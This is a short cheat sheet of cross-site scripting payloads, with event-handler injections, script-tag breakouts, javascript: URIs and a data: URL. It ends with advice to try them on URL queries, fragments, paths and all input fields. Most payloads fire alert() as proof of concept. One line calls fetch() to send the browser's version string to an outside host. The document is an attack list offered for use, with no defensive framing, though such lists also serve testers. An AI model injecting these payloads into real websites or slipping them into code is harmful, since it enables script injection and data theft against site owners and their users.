payload

data:text/html,<a href="javascript:'<img src=e onerror=alert()>';">click</a>

<a href='fetch("//example.com?"+navigator.appVersion)'>test</a>

<a href="javascript:{alert(00)confirm(00)}">POC</a>



"><img src onerror=alert(1)>
"autofocus onfocus=alert(1)//
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
javascript:alert(1)

Try it on:
- URL query, fragment & path;
- all input fields.